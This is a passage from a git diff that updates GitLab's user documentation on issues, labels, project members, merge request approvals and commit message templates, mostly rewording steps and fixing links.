+1. Edit the issue and select an issue type from the **Issue type** dropdown list:
-- [Issue](index.md)
-- [Incident](../../../operations/incident_management/index.md)
+ - Issue
+ - [Incident](../../../operations/incident_management/index.md)
-![Change the issue type](img/issue_type_change_v13_12.png)
+1. Select **Save changes**.
-## Deleting issues
+## Delete an issue
-Users with the [Owner role](../../permissions.md) can delete an issue by
-editing it and selecting **Delete issue**.
+> Deleting from the vertical ellipsis menu [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299933) in GitLab 14.6.
-![delete issue - button](img/delete_issue_v13_11.png)
+Prerequisites:
+
+- You must have the [Owner role](../../permissions.md) for a project.
+
+To delete an issue:
+
+1. In an issue, select the vertical ellipsis (**{ellipsis_v}**).
+1. Select **Delete issue**.
+
+Alternatively:
+
+1. In an issue, select **Edit title and description** (**{pencil}**).
+1. Select **Delete issue**.
## Promote an issue to an epic **(PREMIUM)**
@@ -355,16 +512,16 @@ editing it and selecting **Delete issue**.
> - Moved to GitLab Premium in 12.8.
> - Promoting issues to epics via the UI [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/233974) in GitLab Premium 13.6.
-You can promote an issue to an epic in the immediate parent group.
+You can promote an issue to an [epic](../../group/epics/index.md) in the immediate parent group.
To promote an issue to an epic:
-1. In an issue, select the vertical ellipsis (**{ellipsis_v}**) button.
+1. In an issue, select the vertical ellipsis (**{ellipsis_v}**).
1. Select **Promote to epic**.
Alternatively, you can use the `/promote` [quick action](../quick_actions.md#issues-merge-requests-and-epics).
-Read more about promoting an issue to an epic on the [Manage epics page](../../group/epics/manage_epics.md#promote-an-issue-to-an-epic).
+Read more about [promoting an issues to epics](../../group/epics/manage_epics.md#promote-an-issue-to-an-epic).
## Add an issue to an iteration **(PREMIUM)**
@@ -373,12 +530,41 @@ Read more about promoting an issue to an epic on the [Manage epics page](../../g
To add an issue to an [iteration](../../group/iterations/index.md):
-1. In an issue sidebar, click **Edit** next to **Iteration**. A dropdown appears.
-1. Click an iteration you'd like to associate this issue with.
+1. Go to the issue.
+1. On the right sidebar, in the **Iteration** section, select **Edit**.
+1. From the dropdown list, select the iteration to associate this issue with.
+1. Select any area outside the dropdown list.
+
+Alternatively, you can use the `/iteration` [quick action](../quick_actions.md#issues-merge-requests-and-epics).
+
+## Copy issue reference
+
+To refer to an issue elsewhere in GitLab, you can use its full URL or a short reference, which looks like
+`namespace/project-name#123`, where `namespace` is either a group or a username.
+
+To copy the issue reference to your clipboard:
-You can also use the `/iteration`
-[quick action](../quick_actions.md#issues-merge-requests-and-epics)
-in a comment or description field.
+1. Go to the issue.
+1. On the right sidebar, next to **Reference**, select **Copy Reference** (**{copy-to-clipboard}**).
+
+You can now paste the reference into another description or comment.
+
+Read more about issue references in [GitLab-Flavored Markdown](../../markdown.md#gitlab-specific-references).
+
+## Copy issue email address
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18816) in GitLab 13.8.
+
+You can create a comment in an issue by sending an email.
+Sending an email to this address creates a comment that contains the email body.
+
+To learn more about creating comments by sending an email and the necessary configuration, see
+[Reply to a comment by sending email](../../discussions/index.md#reply-to-a-comment-by-sending-email).
+
+To copy the issue's email address:
+
+1. Go to the issue.
+1. On the right sidebar, next to **Issue email**, select **Copy Reference** (**{copy-to-clipboard}**).
## Real-time sidebar
@@ -393,35 +579,84 @@ On GitLab.com, this feature is available.
Assignees in the sidebar are updated in real time.
+## Assignee
+
+An issue can be assigned to one or [more users](multiple_assignees_for_issues.md).
+
+The assignees can be changed as often as needed. The idea is that the assignees are
+people responsible for an issue.
+When an issue is assigned to someone, it appears in their assigned issues list.
+
+If a user is not a member of a project, an issue can only be assigned to them if they create it
+themselves or another project member assigns them.
+
+To change the assignee on an issue:
+
+1. Go to your issue.
+1. On the right sidebar, in the **Assignee** section, select **Edit**.
+1. From the dropdown list, select the user to add as an assignee.
+1. Select any area outside the dropdown list.
+
## Similar issues
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22866) in GitLab 11.6.
+To prevent duplication of issues on the same topic, GitLab searches for similar issues
+when you create a new issue.
-To prevent duplication of issues for the same topic, GitLab searches for similar issues
-when new issues are being created.
+Prerequisites:
-As you type in the title field of the **New Issue** page, GitLab searches titles and descriptions
-across all issues to in the current project. Only issues you have access to are returned.
-Up to five similar issues, sorted by most recently updated, are displayed below the title box.
-[GraphQL](../../../api/graphql/index.md) must be enabled to use this feature.
+- [GraphQL](../../../api/graphql/index.md) must be enabled.
-![Similar issues](img/similar_issues.png)
+As you type in the title text box of the **New issue** page, GitLab searches titles and descriptions
+across all issues in the current project. Only issues you have access to are returned.
+Up to five similar issues, sorted by most recently updated, are displayed below the title text box.
## Health status **(ULTIMATE)**
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36427) in GitLab Ultimate 12.10.
-> - Health status of closed issues [can't be edited](https://gitlab.com/gitlab-org/gitlab/-/issues/220867) in GitLab Ultimate 13.4 and later.
-> - Issue health status visible in issue lists [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45141) in GitLab Ultimate 13.6.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36427) in GitLab 12.10.
+> - Health status of closed issues [can't be edited](https://gitlab.com/gitlab-org/gitlab/-/issues/220867) in GitLab 13.4 and later.
+> - Issue health status visible in issue lists [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/45141) in GitLab 13.6.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/213567) in GitLab 13.7.
To help you track issue statuses, you can assign a status to each issue.
-This marks issues as progressing as planned or needs attention to keep on schedule:
+This status marks issues as progressing as planned or needing attention to keep on schedule.
+
+Prerequisites:
+
+- You must have at least the [Reporter role](../../permissions.md) for the project.
+
+To edit health status of an issue:
+
+1. Go to the issue.
+1. On the right sidebar, in the **Health status** section, select **Edit**.
+1. From the dropdown list, select the status to add to this issue:
-- On track (green)
-- Needs attention (amber)
-- At risk (red)
+ - On track (green)
+ - Needs attention (amber)
+ - At risk (red)
+
+You can then see the issue's status in the issues list and the epic tree.
After an issue is closed, its health status can't be edited and the **Edit** button becomes disabled
until the issue is reopened.
-You can then see issue statuses in the issues list and the epic tree.
+## Publish an issue **(ULTIMATE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30906) in GitLab 13.1.
+
+If a status page application is associated with the project, you can use the `/publish`
+[quick action](../quick_actions.md) to publish the issue.
+
+For more information, see [GitLab Status Page](../../../operations/incident_management/status_page.md).
+
+## Issue-related quick actions
+
+You can also use [quick actions](../quick_actions.md#issues-merge-requests-and-epics) to manage issues.
+
+Some actions don't have corresponding UI buttons yet.
+You can do the following **only by using quick actions**:
+
+- [Add or remove a Zoom meeting](associate_zoom_meeting.md) (`/zoom` and `/remove_zoom`).
+- [Publish an issue](#publish-an-issue) (`/publish`).
+- Clone an issue to the same or another project (`/clone`).
+- Close an issue and mark as a duplicate of another issue (`/duplicate`).
+- Copy labels and milestone from another merge request in the project (`/copy_metadata`).
diff --git a/doc/user/project/issues/multiple_assignees_for_issues.md b/doc/user/project/issues/multiple_assignees_for_issues.md
index 189777d40e7..98e940b6b51 100644
--- a/doc/user/project/issues/multiple_assignees_for_issues.md
+++ b/doc/user/project/issues/multiple_assignees_for_issues.md
@@ -12,8 +12,7 @@ In large teams, where there is shared ownership of an issue, it can be difficult
to track who is working on it, who already completed their contributions, who
didn't even start yet.
-In [GitLab Enterprise Edition](https://about.gitlab.com/pricing/),
-you can also select multiple assignees to an issue, making it easier to
+You can also select multiple [assignees](managing_issues.md#assignee) for an issue, making it easier to
track, and making clearer who is accountable for it.
![multiple assignees for issues](img/multiple_assignees_for_issues.png)
diff --git a/doc/user/project/issues/related_issues.md b/doc/user/project/issues/related_issues.md
index e4972181a5a..8a2a104c54d 100644
--- a/doc/user/project/issues/related_issues.md
+++ b/doc/user/project/issues/related_issues.md
@@ -26,7 +26,7 @@ To manage linked issues through our API, visit the [issue links API documentatio
1. Link one issue to another by selecting the add linked issue button (**{plus}**) in the
**Linked issues** section of an issue.
-1. Select the relationship the between the two issues. Either:
+1. Select the relationship between the two issues. Either:
- **relates to**
- **blocks** **(PREMIUM)**
- **is blocked by** **(PREMIUM)**
diff --git a/doc/user/project/issues/sorting_issue_lists.md b/doc/user/project/issues/sorting_issue_lists.md
index ebfc723280f..0340f15c25c 100644
--- a/doc/user/project/issues/sorting_issue_lists.md
+++ b/doc/user/project/issues/sorting_issue_lists.md
@@ -37,7 +37,7 @@ creation date. Issues created most recently are first.
## Sorting by due date
When you sort by **Due date**, the issue list changes to sort ascending by the issue
-[due date](issue_data_and_actions.md#due-date). Issues with the earliest due date are first,
+[due date](due_dates.md). Issues with the earliest due date are first,
and issues without a due date are last.
## Sorting by label priority
diff --git a/doc/user/project/labels.md b/doc/user/project/labels.md
index e9cbe012110..8874512f9c3 100644
--- a/doc/user/project/labels.md
+++ b/doc/user/project/labels.md
@@ -16,7 +16,7 @@ Labels are a key part of [issue boards](issue_board.md). With labels you can:
- Categorize epics, issues, and merge requests using colors and descriptive titles like
`bug`, `feature request`, or `docs`.
- Dynamically filter and manage epics, issues, and merge requests.
-- [Search lists of issues, merge requests, and epics](../search/index.md#issues-and-merge-requests),
+- [Search lists of issues, merge requests, and epics](../search/index.md#search-issues-and-merge-requests),
as well as [issue boards](../search/index.md#issue-boards).
## Project labels and group labels
@@ -42,8 +42,8 @@ To assign or unassign a label:
You can search repeatedly to add more labels.
The selected labels are marked with a checkmark.
1. Click the labels you want to assign or unassign.
-1. To apply your changes to labels, click **X** next to **Assign labels** or anywhere outside the
- label section.
+1. To apply your changes to labels, select **X** next to **Assign labels** or select any area
+ outside the label section.
Alternatively, to unassign a label, click the **X** on the label you want to unassign.
@@ -72,9 +72,9 @@ To create a new project label:
1. Select the **New label** button.
1. In the **Title** field, enter a short, descriptive name for the label. You
can also use this field to create [scoped, mutually exclusive labels](#scoped-labels).
-1. (Optional) In the **Description** field, you can enter additional
+1. Optional. In the **Description** field, you can enter additional
information about how and when to use this label.
-1. (Optional) Select a background color for the label by selecting one of the
+1. Optional. Select a background color for the label by selecting one of the
available colors, or by entering a hex color value in the **Background color**
field.
1. Select **Create label**.
@@ -86,7 +86,7 @@ label section of the right sidebar of an issue or a merge request:
1. Click **Create project label**.
- Fill in the name field. Note that you can't specify a description if creating a label
this way. You can add a description later by editing the label (see below).
- - (Optional) Select a color by clicking on the available colors, or input a hex
+ - Optional. Select a color by clicking on the available colors, or input a hex
color value for a specific color.
1. Click **Create**.
@@ -189,7 +189,7 @@ For example, filtering by the `platform::*` label returns issues that have `plat
`platform::Android`, or `platform::Linux` labels.
NOTE:
-This is not available on the [issues or merge requests dashboard pages](../search/index.md#issues-and-merge-requests).
+This is not available on the [issues or merge requests dashboard pages](../search/index.md#search-issues-and-merge-requests).
### Workflows with scoped labels
diff --git a/doc/user/project/members/index.md b/doc/user/project/members/index.md
index adf0a115c6e..283576fb4e9 100644
--- a/doc/user/project/members/index.md
+++ b/doc/user/project/members/index.md
@@ -52,7 +52,8 @@ Prerequisite:
To add groups to a project:
-1. Go to your project and select **Project information > Members**.
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Project information > Members**.
1. On the **Invite group** tab, under **Select a group to invite**, choose a group.
1. Select the highest max [role](../../permissions.md) for users in the group.
1. Optional. Choose an expiration date. On that date, the user can no longer access the project.
@@ -75,7 +76,8 @@ Prerequisite:
To import users:
-1. Go to your project and select **Project information > Members**.
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Project information > Members**.
1. On the **Invite member** tab, at the bottom of the panel, select **Import**.
1. Select the project. You can view only the projects for which you're a maintainer.
1. Select **Import project members**.
@@ -115,7 +117,8 @@ Prerequisites:
To remove a member from a project:
-1. Go to your project and select **Project information > Members**.
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Project information > Members**.
1. Next to the project member you want to remove, select **Remove member** **{remove}**.
1. Optional. In the confirmation box, select the
**Also unassign this user from related issues and merge requests** checkbox.
@@ -136,7 +139,8 @@ You can filter and sort members in a project.
### Display inherited members
-1. Go to your project and select **Project information > Members**.
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Project information > Members**.
1. In the **Filter members** box, select `Membership` `=` `Inherited`.
1. Press Enter.
@@ -144,7 +148,8 @@ You can filter and sort members in a project.
### Display direct members
-1. Go to your project and select **Project information > Members**.
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Project information > Members**.
1. In the **Filter members** box, select `Membership` `=` `Direct`.
1. Press Enter.
@@ -166,7 +171,7 @@ You can sort members by **Account**, **Access granted**, **Max role**, or **Last
GitLab users can request to become a member of a project.
-1. Go to the project you'd like to be a member of.
+1. On the top bar, select **Menu > Projects** and find the project you want to be a member of.
1. By the project name, select **Request Access**.
![Request access button](img/request_access_button.png)
@@ -189,8 +194,9 @@ Prerequisite:
- You must be the project owner.
-1. Go to the project and select **Settings > General**.
-1. Expand the **Visibility, project features, permissions** section.
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > General**.
+1. Expand **Visibility, project features, permissions**.
1. Under **Project visibility**, select **Users can request access**.
1. Select **Save changes**.
@@ -213,7 +219,8 @@ This feature might not be available to you. Check the **version history** note a
In GitLab 13.11, you can optionally replace the form to add a member with a modal window.
To add a member after enabling this feature:
-1. Go to your project and select **Project information > Members**.
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Project information > Members**.
1. Select **Invite members**.
1. Enter an email address and select a role.
1. Optional. Select an **Access expiration date**.
diff --git a/doc/user/project/members/share_project_with_groups.md b/doc/user/project/members/share_project_with_groups.md
index abca140411a..4c96c4d9f56 100644
--- a/doc/user/project/members/share_project_with_groups.md
+++ b/doc/user/project/members/share_project_with_groups.md
@@ -4,7 +4,7 @@ group: Workspace
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Share projects with other groups
+# Share projects with other groups **(FREE)**
You can share projects with other [groups](../../group/index.md). This makes it
possible to add a group of users to a project with a single action.
@@ -30,18 +30,20 @@ To share 'Project Acme' with the 'Engineering' group:
1. For 'Project Acme' use the left navigation menu to go to **Project information > Members**.
1. Select the **Invite group** tab.
1. Add the 'Engineering' group with the maximum access level of your choice.
-1. Optionally, select an expiring date.
-1. Click **Invite**.
-1. After sharing 'Project Acme' with 'Engineering':
- - The group is listed in the **Groups** tab.
- - The project is listed on the group dashboard.
+1. Optional. Select an expiration date.
+1. Select **Invite**.
+
+After sharing 'Project Acme' with 'Engineering':
+
+- The group is listed in the **Groups** tab.
+- The project is listed on the group dashboard.
-Note that you can only share a project with:
+You can share a project only with:
-- groups for which you have an explicitly defined membership
-- groups that contain a nested subgroup or project for which you have an explicitly defined role
+- Groups for which you have an explicitly defined membership.
+- Groups that contain a nested subgroup or project for which you have an explicitly defined role.
-Administrators are able to share projects with any group in the system.
+Administrators can share projects with any group in the system.
### Share a project modal window
@@ -61,7 +63,7 @@ To share a project after enabling this feature:
1. Go to your project's page.
1. On the left sidebar, go to **Project information > Members**, and then select **Invite a group**.
1. Select a group, and select a **Max role**.
-1. (Optional) Select an **Access expiration date**.
+1. Optional. Select an **Access expiration date**.
1. Select **Invite**.
### Enable or disable modal window **(FREE SELF)**
diff --git a/doc/user/project/merge_requests/approvals/index.md b/doc/user/project/merge_requests/approvals/index.md
index d873f715557..dddd3925dbb 100644
--- a/doc/user/project/merge_requests/approvals/index.md
+++ b/doc/user/project/merge_requests/approvals/index.md
@@ -105,7 +105,7 @@ Without the approvals, the work cannot merge. Required approvals enable multiple
- [Require approval from a security team](../../../application_security/index.md#security-approvals-in-merge-requests)
before merging code that could introduce a vulnerability. **(ULTIMATE)**
-## Related links
+## Related topics
- [Merge request approvals API](../../../../api/merge_request_approvals.md)
- [Instance-level approval rules](../../../admin_area/merge_requests_approvals.md) for self-managed installations
diff --git a/doc/user/project/merge_requests/approvals/rules.md b/doc/user/project/merge_requests/approvals/rules.md
index 1249aa826fa..f4393b2b76d 100644
--- a/doc/user/project/merge_requests/approvals/rules.md
+++ b/doc/user/project/merge_requests/approvals/rules.md
@@ -63,7 +63,7 @@ To edit a merge request approval rule:
1. Go to your project and select **Settings > General**.
1. Expand **Merge request (MR) approvals**, and then select **Edit**.
-1. (Optional) Change the **Rule name**.
+1. Optional. Change the **Rule name**.
1. Set the number of required approvals in **Approvals required**. The minimum value is `0`.
1. Add or remove eligible approvers, as needed:
- *To add users or groups as approvers,* search for users or groups that are
diff --git a/doc/user/project/merge_requests/approvals/settings.md b/doc/user/project/merge_requests/approvals/settings.md
index 56e93741c1a..a6ca9423df0 100644
--- a/doc/user/project/merge_requests/approvals/settings.md
+++ b/doc/user/project/merge_requests/approvals/settings.md
@@ -157,7 +157,7 @@ You can also enforce merge request approval settings:
If the settings are inherited by a group or project, they cannot be changed in the group or project
that inherited them.
-## Related links
+## Related topics
- [Instance-level merge request approval settings](../../../admin_area/merge_requests_approvals.md)
- [Compliance report](../../../compliance/compliance_report/index.md)
diff --git a/doc/user/project/merge_requests/browser_performance_testing.md b/doc/user/project/merge_requests/browser_performance_testing.md
index eff3a5bd99e..e59456e5b34 100644
--- a/doc/user/project/merge_requests/browser_performance_testing.md
+++ b/doc/user/project/merge_requests/browser_performance_testing.md
@@ -40,7 +40,7 @@ Consider the following workflow:
## How browser performance testing works
First, define a job in your `.gitlab-ci.yml` file that generates the
-[Browser Performance report artifact](../../../ci/yaml/index.md#artifactsreportsbrowser_performance).
+[Browser Performance report artifact](../../../ci/yaml/artifacts_reports.md#artifactsreportsbrowser_performance).
GitLab then checks this report, compares key performance metrics for each page
between the source and target branches, and shows the information in the merge request.
@@ -89,7 +89,7 @@ The above example:
GitLab 12.3 or earlier, you must [add the configuration manually](#gitlab-versions-132-and-earlier).
The template uses the [GitLab plugin for sitespeed.io](https://gitlab.com/gitlab-org/gl-performance),
-and it saves the full HTML sitespeed.io report as a [Browser Performance report artifact](../../../ci/yaml/index.md#artifactsreportsbrowser_performance)
+and it saves the full HTML sitespeed.io report as a [Browser Performance report artifact](../../../ci/yaml/artifacts_reports.md#artifactsreportsbrowser_performance)
that you can later download and analyze. This implementation always takes the latest
Browser Performance artifact available. If [GitLab Pages](../pages/index.md) is enabled,
you can view the report directly in your browser.
diff --git a/doc/user/project/merge_requests/cherry_pick_changes.md b/doc/user/project/merge_requests/cherry_pick_changes.md
index 4a2319774ac..15ba6e9de98 100644
--- a/doc/user/project/merge_requests/cherry_pick_changes.md
+++ b/doc/user/project/merge_requests/cherry_pick_changes.md
@@ -76,10 +76,10 @@ merge request is from a fork:
1. Click on the **Options** dropdown and select **Cherry-pick** to show the cherry-pick modal.
1. In **Pick into project** and **Pick into branch**, select the destination project and branch:
![Cherry-pick commit](img/cherry_pick_into_project_v13_11.png)
-1. (Optional) Select **Start a new merge request** if you're ready to create a merge request.
+1. Optional. Select **Start a new merge request** if you're ready to create a merge request.
1. Click **Cherry-pick**.
-## Related links
+## Related topics
- The [Commits API](../../../api/commits.md) enables you to add custom messages
to changes you cherry-pick through the API.
diff --git a/doc/user/project/merge_requests/code_quality.md b/doc/user/project/merge_requests/code_quality.md
index 9bfbbd8fc6f..b791bce5749 100644
--- a/doc/user/project/merge_requests/code_quality.md
+++ b/doc/user/project/merge_requests/code_quality.md
@@ -87,7 +87,7 @@ include:
The above example creates a `code_quality` job in your CI/CD pipeline which
scans your source code for code quality issues. The report is saved as a
-[Code Quality report artifact](../../../ci/yaml/index.md#artifactsreportscodequality)
+[Code Quality report artifact](../../../ci/yaml/artifacts_reports.md#artifactsreportscodequality)
that you can later download and analyze.
It's also possible to override the URL to the Code Quality image by
@@ -343,7 +343,7 @@ It's possible to have a custom tool provide Code Quality reports in GitLab. To
do this:
1. Define a job in your `.gitlab-ci.yml` file that generates the
- [Code Quality report artifact](../../../ci/yaml/index.md#artifactsreportscodequality).
+ [Code Quality report artifact](../../../ci/yaml/artifacts_reports.md#artifactsreportscodequality).
1. Configure your tool to generate the Code Quality report artifact as a JSON
file that implements a subset of the [Code Climate
spec](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types).
diff --git a/doc/user/project/merge_requests/commit_templates.md b/doc/user/project/merge_requests/commit_templates.md
index b615c86288c..bffb66755e0 100644
--- a/doc/user/project/merge_requests/commit_templates.md
+++ b/doc/user/project/merge_requests/commit_templates.md
@@ -7,15 +7,42 @@ type: reference, howto
# Commit message templates **(FREE)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/20263) in GitLab 14.5.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/20263) in GitLab 14.5.
+> - [Added](https://gitlab.com/gitlab-org/gitlab/-/issues/345275) squash commit templates in GitLab 14.6.
-## Merge commit message template
+GitLab uses commit templates to create default messages for specific types of
+commits. These templates encourage commit messages to follow a particular format,
+or contain specific information. Users can override these templates when merging
+a merge request.
-As a project maintainer, you're able to configure merge commit message template. It will be used during merge to
-create commit message. Template uses similar syntax to
+Commit templates use syntax similar to the syntax for
[review suggestions](reviews/suggestions.md#configure-the-commit-message-for-applied-suggestions).
-Default merge commit message can be recreated using following template:
+## Configure commit templates
+
+Change the commit templates for your project if the default templates don't
+contain the information you need.
+
+Prerequisite:
+
+- You must have at least the Maintainer role for a project.
+
+To do this:
+
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > General** and expand **Merge requests**.
+1. Depending on the type of template you want to create, scroll to either
+ [**Merge commit message template**](#default-template-for-merge-commits) or
+ [**Squash commit message template**](#default-template-for-squash-commits).
+1. For your desired commit type, enter your default message. You can use both static
+ text and [variables](#supported-variables-in-commit-templates). Each template
+ is limited to a maximum of 500 characters, though after replacing the templates
+ with data, the final message may be longer.
+1. Select **Save changes**.
+
+## Default template for merge commits
+
+The default template for merge commit messages is:
```plaintext
Merge branch '%{source_branch}' into '%{target_branch}'
@@ -27,25 +54,35 @@ Merge branch '%{source_branch}' into '%{target_branch}'
See merge request %{reference}
```
-This commit message can be customized to follow any guidelines you might have.
-To do so, expand the **Merge requests** tab within your project's **General**
-settings and change the **Merge commit message template** text:
+## Default template for squash commits
+
+If you have configured your project to [squash commits on merge](squash_and_merge.md),
+GitLab creates a squash commit message with this template:
+
+```plaintext
+%{title}
+```
+
+## Supported variables in commit templates
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/20263) in GitLab 14.5.
+> - [Added](https://gitlab.com/gitlab-org/gitlab/-/issues/346805) `first_commit` and `first_multiline_commit` variables in GitLab 14.6.
-![Custom commit message for applied suggestions](img/merge_commit_message_template_v14_5.png)
+Commit message templates support these variables:
-You can use static text and following variables:
+| Variable | Description | Output example |
+|----------|-------------|----------------|
+| `%{source_branch}` | The name of the branch being merged. | `my-feature-branch` |
+| `%{target_branch}` | The name of the branch that the changes are applied to. | `main` |
+| `%{title}` | Title of the merge request. | `Fix tests and translations` |
+| `%{issues}` | String with phrase `Closes <issue numbers>`. Contains all issues mentioned in the merge request description that match [issue closing patterns](../issues/managing_issues.md#closing-issues-automatically). Empty if no issues are mentioned. | `Closes #465, #190 and #400` |
+| `%{description}` | Description of the merge request. | `Merge request description.`<br>`Can be multiline.` |
+| `%{reference}` | Reference to the merge request. | `group-name/project-name!72359` |
+| `%{first_commit}` | Full message of the first commit in merge request diff. | `Update README.md` |
+| `%{first_multiline_commit}` | Full message of the first commit that's not a merge commit and has more than one line in message body. Merge Request title if all commits aren't multiline. | `Update README.md`<br><br>`Improved project description in readme file.` |
-| Variable | Description | Output example |
-|--------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------|
-| `%{source_branch}` | The name of the branch that is being merged. | `my-feature-branch` |
-| `%{target_branch}` | The name of the branch that the changes are applied to. | `master` |
-| `%{title}` | Title of the merge request. | Fix stuff |
-| `%{issues}` | String with phrase "Closes <issue numbers>" with all issues mentioned in the MR description matching [issue closing patterns](../issues/managing_issues.md#closing-issues-automatically). It will be empty when no issues were mentioned. | `Closes #465, #190 and #400` |
-| `%{description}` | Description of the merge request. | Merge request description.<br>Can be multiline. |
-| `%{reference}` | Reference to the merge request. | group-name/project-name!72359 |
+Empty variables that are the only word in a line are removed, along with all newline characters preceding it.
-NOTE:
-Empty variables that are the only word in a line will be removed along with all newline characters preceding it.
+## Related topics
-Merge commit template field has a limit of 500 characters. This limit only applies to the template
-itself.
+- [Squash and merge](squash_and_merge.md).
diff --git a/doc/user/project/merge_requests/confidential.md b/doc/user/project/merge_requests/confidential.md
index ff2e6acf123..10c63421876 100644
--- a/doc/user/project/merge_requests/confidential.md
+++ b/doc/user/project/merge_requests/confidential.md
@@ -70,7 +70,7 @@ Open a merge request
- You are satisfied the problem is resolved in your private fork.
- You are ready to make the confidential commits public.
-## Related links
+## Related topics
- [Confidential issues](../issues/confidential_issues.md)
- [Make an epic confidential](../../group/epics/manage_epics.md#make-an-epic-confidential)
diff --git a/doc/user/project/merge_requests/creating_merge_requests.md b/doc/user/project/merge_requests/creating_merge_requests.md
index 918f9830edc..220049d9a88 100644
--- a/doc/user/project/merge_requests/creating_merge_requests.md
+++ b/doc/user/project/merge_requests/creating_merge_requests.md
@@ -21,6 +21,10 @@ You can create a merge request from the list of merge requests.
1. Select a source and target branch and then **Compare branches and continue**.
1. Fill out the fields and select **Create merge request**.
+NOTE:
+Merge requests are designed around a one-to-one (1:1) branch relationship. Only one open merge request may
+be associated with a given target branch at a time.
+
## From an issue
You can [create a merge request from an issue](../repository/web_editor.md#create-a-new-branch-from-an-issue).
@@ -155,6 +159,8 @@ branch already exists, the patches are applied on top of it.
## Set the default target project
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58093) in GitLab 13.11.
+
Merge requests have a source and a target project that are the same, unless
forking is involved. Creating a fork of the project can cause either of these
scenarios when you create a new merge request:
diff --git a/doc/user/project/merge_requests/getting_started.md b/doc/user/project/merge_requests/getting_started.md
index 006e6d4a8aa..323b7505190 100644
--- a/doc/user/project/merge_requests/getting_started.md
+++ b/doc/user/project/merge_requests/getting_started.md
@@ -88,7 +88,7 @@ Choose an assignee to designate someone as the person responsible
for the first [review of the merge request](reviews/index.md).
Open the drop down box to search for the user you wish to assign,
and the merge request is added to their
-[assigned merge request list](../../search/index.md#issues-and-merge-requests).
+[assigned merge request list](../../search/index.md#search-issues-and-merge-requests).
#### Multiple assignees **(PREMIUM)**
@@ -136,10 +136,18 @@ To learn more, read [Review a merge request](reviews/index.md).
### Merge requests to close issues
-If the merge request is being created to resolve an issue, you can
-add a note in the description which sets it to
-[automatically close the issue](../issues/managing_issues.md#closing-issues-automatically)
-when merged.
+To create a merge request to close an issue when it's merged, you can either:
+
+- [Add a note in the MR description](../issues/managing_issues.md#closing-issues-automatically).
+- In the issue, select **Create a merge request**. Then, you can either:
+
+ - Create a new branch and [a draft merge request](../merge_requests/drafts.md)
+ in one action. The branch is named `issuenumber-title` by default, but you can
+ choose any name, and GitLab verifies that it's not already in use. The merge request
+ inherits the milestone and labels of the issue, and is set to automatically
+ close the issue when it is merged.
+ - Create a [new branch](../repository/web_editor.md#create-a-new-branch-from-an-issue)
+ only, with its name starting with the issue number.
If the issue is [confidential](../issues/confidential_issues.md),
you may want to use a different workflow for
diff --git a/doc/user/project/merge_requests/img/merge_commit_message_template_v14_5.png b/doc/user/project/merge_requests/img/merge_commit_message_template_v14_5.png
deleted file mode 100644
index f18ca640d38..00000000000
--- a/doc/user/project/merge_requests/img/merge_commit_message_template_v14_5.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/merge_requests/index.md b/doc/user/project/merge_requests/index.md
index 54b97eb5732..8222d696853 100644
--- a/doc/user/project/merge_requests/index.md
+++ b/doc/user/project/merge_requests/index.md
@@ -74,7 +74,7 @@ change and whether you need access to a development environment:
If you decide to permanently stop work on a merge request,
GitLab recommends you close the merge request rather than
-[delete it](#delete-a-merge-request). Users with
+[delete it](#delete-a-merge-request). The author and assignees of a merge request, and users with
Developer, Maintainer, or Owner [roles](../../permissions.md) in a project
can close merge requests in the project:
diff --git a/doc/user/project/merge_requests/load_performance_testing.md b/doc/user/project/merge_requests/load_performance_testing.md
index 1d892a3c2e1..7b157aa94d8 100644
--- a/doc/user/project/merge_requests/load_performance_testing.md
+++ b/doc/user/project/merge_requests/load_performance_testing.md
@@ -28,7 +28,7 @@ GET calls to a popular API endpoint in your application to see how it performs.
## How Load Performance Testing works
First, define a job in your `.gitlab-ci.yml` file that generates the
-[Load Performance report artifact](../../../ci/yaml/index.md#artifactsreportsload_performance).
+[Load Performance report artifact](../../../ci/yaml/artifacts_reports.md#artifactsreportsload_performance).
GitLab checks this report, compares key load performance metrics
between the source and target branches, and then shows the information in a merge request widget:
@@ -140,7 +140,7 @@ For example, you can override the duration of the test with a CLI option:
GitLab only displays the key performance metrics in the MR widget if k6's results are saved
via [summary export](https://k6.io/docs/results-visualization/json#summary-export)
-as a [Load Performance report artifact](../../../ci/yaml/index.md#artifactsreportsload_performance).
+as a [Load Performance report artifact](../../../ci/yaml/artifacts_reports.md#artifactsreportsload_performance).
The latest Load Performance artifact available is always used, using the
summary values from the test.
@@ -161,7 +161,7 @@ such as: ``http.get(`${__ENV.ENVIRONMENT_URL}`)``.
For example:
1. In the `review` job:
- 1. Capture the dynamic URL and save it into a `.env` file, e.g. `echo "ENVIRONMENT_URL=$CI_ENVIRONMENT_URL" >> review.env`.
